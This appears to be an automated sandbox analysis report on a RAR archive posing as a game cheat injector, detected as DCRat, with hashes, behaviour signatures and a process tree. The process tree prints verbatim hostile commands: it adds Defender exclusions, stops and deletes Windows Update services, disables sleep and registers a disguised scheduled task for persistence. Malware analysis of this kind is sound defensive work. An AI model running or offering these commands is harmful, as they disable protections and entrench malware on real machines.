Analysis
-
max time kernel
266s -
max time network
325s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
-
submitted
08/05/2023, 10:27
General
-
Target
Rust_pchack_injector.rar
-
Size
6.9MB
-
MD5
158ca9aa42b59810969e5b25661f7c95
-
SHA1
fa8aa8fe34442fd22f00104c4e604a85e45590ec
-
SHA256
92386db4af8c8f4625192cbc5f8ec218cd4ae4fffa1ca1ff867bda9aefe13ad6
-
SHA512
95ac01bdc4d445456269353eec3f90344543470526ae706c7f631bdb341c1341ce7b0dad9c38d051e40a6992f3ba38e356d5eb8225b8ed2e84f11718bd979ae6
-
SSDEEP
196608:p5onD4ow6UX7Uhksa/sGE0kMDvxFXxke3S5CAVlOAyU:p5MD4o3UXQRa/s/wZvmQltU
Malware Config
Signatures
-
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
-
Modifies security service 2 TTPs 5 IoCs
-
Process spawned unexpected child process 27 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
-
Suspicious use of NtCreateUserProcessOtherParentProcess 11 IoCs
-
DCRat payload 20 IoCs
Detects payload of DCRat, commonly dropped by NSIS installers.
-
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
-
Stops running service(s) 3 TTPs
-
Checks computer location settings 2 TTPs 9 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 24 IoCs
-
Loads dropped DLL 1 IoCs
-
Modifies system executable filetype association 2 TTPs 8 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Registers COM server for autorun 1 TTPs 3 IoCs
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops file in System32 directory 14 IoCs
-
Suspicious use of SetThreadContext 2 IoCs
-
Drops file in Program Files directory 64 IoCs
-
Drops file in Windows directory 4 IoCs
-
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 4 IoCs
-
Checks processor information in registry 2 TTPs 12 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 27 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Enumerates system info in registry 2 TTPs 11 IoCs
-
Modifies Internet Explorer settings 1 TTPs 4 IoCs
-
Modifies data under HKEY_USERS 64 IoCs
-
Modifies registry class 64 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 2 IoCs
-
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 64 IoCs
-
Suspicious use of SendNotifyMessage 24 IoCs
-
Suspicious use of SetWindowsHookEx 24 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{1c6a002b-ee23-4ef9-b4d6-d3fe65d60bd5}2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{89c019c4-c788-4503-bdf6-6ab76d32e79b}2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3692 -s 4002⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s W32Time1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3564 -s 9122⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Loads dropped DLL
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Rust_pchack_injector.rar2⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵
- Adds Run key to start application
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffad12b9758,0x7ffad12b9768,0x7ffad12b97783⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1792 --field-trial-handle=1784,i,18280681068726365753,3379226084347356446,131072 /prefetch:23⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=1784,i,18280681068726365753,3379226084347356446,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2244 --field-trial-handle=1784,i,18280681068726365753,3379226084347356446,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3160 --field-trial-handle=1784,i,18280681068726365753,3379226084347356446,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3296 --field-trial-handle=1784,i,18280681068726365753,3379226084347356446,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4516 --field-trial-handle=1784,i,18280681068726365753,3379226084347356446,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=4628 --field-trial-handle=1784,i,18280681068726365753,3379226084347356446,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4668 --field-trial-handle=1784,i,18280681068726365753,3379226084347356446,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4764 --field-trial-handle=1784,i,18280681068726365753,3379226084347356446,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4772 --field-trial-handle=1784,i,18280681068726365753,3379226084347356446,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=4780 --field-trial-handle=1784,i,18280681068726365753,3379226084347356446,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5372 --field-trial-handle=1784,i,18280681068726365753,3379226084347356446,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4820 --field-trial-handle=1784,i,18280681068726365753,3379226084347356446,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=5388 --field-trial-handle=1784,i,18280681068726365753,3379226084347356446,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=3212 --field-trial-handle=1784,i,18280681068726365753,3379226084347356446,131072 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5572 --field-trial-handle=1784,i,18280681068726365753,3379226084347356446,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5788 --field-trial-handle=1784,i,18280681068726365753,3379226084347356446,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5772 --field-trial-handle=1784,i,18280681068726365753,3379226084347356446,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1660 --field-trial-handle=1784,i,18280681068726365753,3379226084347356446,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5824 --field-trial-handle=1784,i,18280681068726365753,3379226084347356446,131072 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=1012 --field-trial-handle=1784,i,18280681068726365753,3379226084347356446,131072 /prefetch:83⤵
-
-
C:\Users\Admin\Downloads\winrar-x64-621.exe"C:\Users\Admin\Downloads\winrar-x64-621.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\WinRAR\uninstall.exe"C:\Program Files\WinRAR\uninstall.exe" /setup4⤵
- Executes dropped EXE
- Modifies system executable filetype association
- Registers COM server for autorun
- Drops file in Program Files directory
- Modifies registry class
-
-
-
-
C:\Program Files\WinRAR\WinRAR.exe"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\Admin\AppData\Local\Temp\Rust_pchack_injector.rar"2⤵
- Executes dropped EXE
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Desktop\injector.exe"C:\Users\Admin\Desktop\injector.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\OneDriveLocal\updater.exe"C:\OneDriveLocal\updater.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\comagentwin\kdcHKrIxlEmo.vbe"4⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\comagentwin\hmEg1nUxiS6WtgTYSmxOz5faQE7mr8.bat" "5⤵
-
C:\comagentwin\MssurrogateMonitor.exe"C:\comagentwin\MssurrogateMonitor.exe"6⤵
- Drops file in Drivers directory
- Checks computer location settings
- Executes dropped EXE
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
-
C:\comagentwin\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\comagentwin\MssurrogateMonitor.exe'7⤵
-
-
C:\comagentwin\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\MssurrogateMonitor.exe'7⤵
- Executes dropped EXE
-
-
C:\comagentwin\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\comagentwin\powershell.exe'7⤵
-
-
C:\comagentwin\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Containers\serviced\spoolsv.exe'7⤵
- Executes dropped EXE
-
-
C:\comagentwin\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\fontdrvhost.exe'7⤵
- Executes dropped EXE
-
-
C:\comagentwin\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\dialer.exe'7⤵
- Executes dropped EXE
-
-
C:\comagentwin\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\MssurrogateMonitor.exe'7⤵
- Executes dropped EXE
-
-
C:\comagentwin\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Public\Videos\smss.exe'7⤵
- Executes dropped EXE
-
-
C:\comagentwin\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\ServiceProfiles\NetworkService\RuntimeBroker.exe'7⤵
- Executes dropped EXE
-
-
C:\comagentwin\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\conhost.exe'7⤵
- Executes dropped EXE
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\12g28OGv7J.bat"7⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
-
C:\Windows\system32\w32tm.exew32tm /stripchart /computer:localhost /period:5 /dataonly /samples:28⤵
-
-
C:\Windows\Containers\serviced\spoolsv.exe"C:\Windows\Containers\serviced\spoolsv.exe"8⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\5b63d857-de7f-4cc9-bf37-82cfb59a6ca7.vbs"9⤵
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\897b4963-f9a6-4f08-86ad-aee067cd6c2e.vbs"9⤵
-
-
-
-
-
-
-
-
C:\OneDriveLocal\lopataminers.exe"C:\OneDriveLocal\lopataminers.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
-
-
C:\OneDriveLocal\chicka.exe"C:\OneDriveLocal\chicka.exe"3⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#bgzsibk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
-
-
C:\Users\Admin\Desktop\injector.exe"C:\Users\Admin\Desktop\injector.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\OneDriveLocal\updater.exe"C:\OneDriveLocal\updater.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\comagentwin\kdcHKrIxlEmo.vbe"4⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\comagentwin\hmEg1nUxiS6WtgTYSmxOz5faQE7mr8.bat" "5⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\comagentwin\MssurrogateMonitor.exe"C:\comagentwin\MssurrogateMonitor.exe"6⤵
- Executes dropped EXE
-
-
-
-
-
C:\OneDriveLocal\lopataminers.exe"C:\OneDriveLocal\lopataminers.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
-
-
C:\OneDriveLocal\chicka.exe"C:\OneDriveLocal\chicka.exe"3⤵
- Executes dropped EXE
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#bgzsibk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
-
-
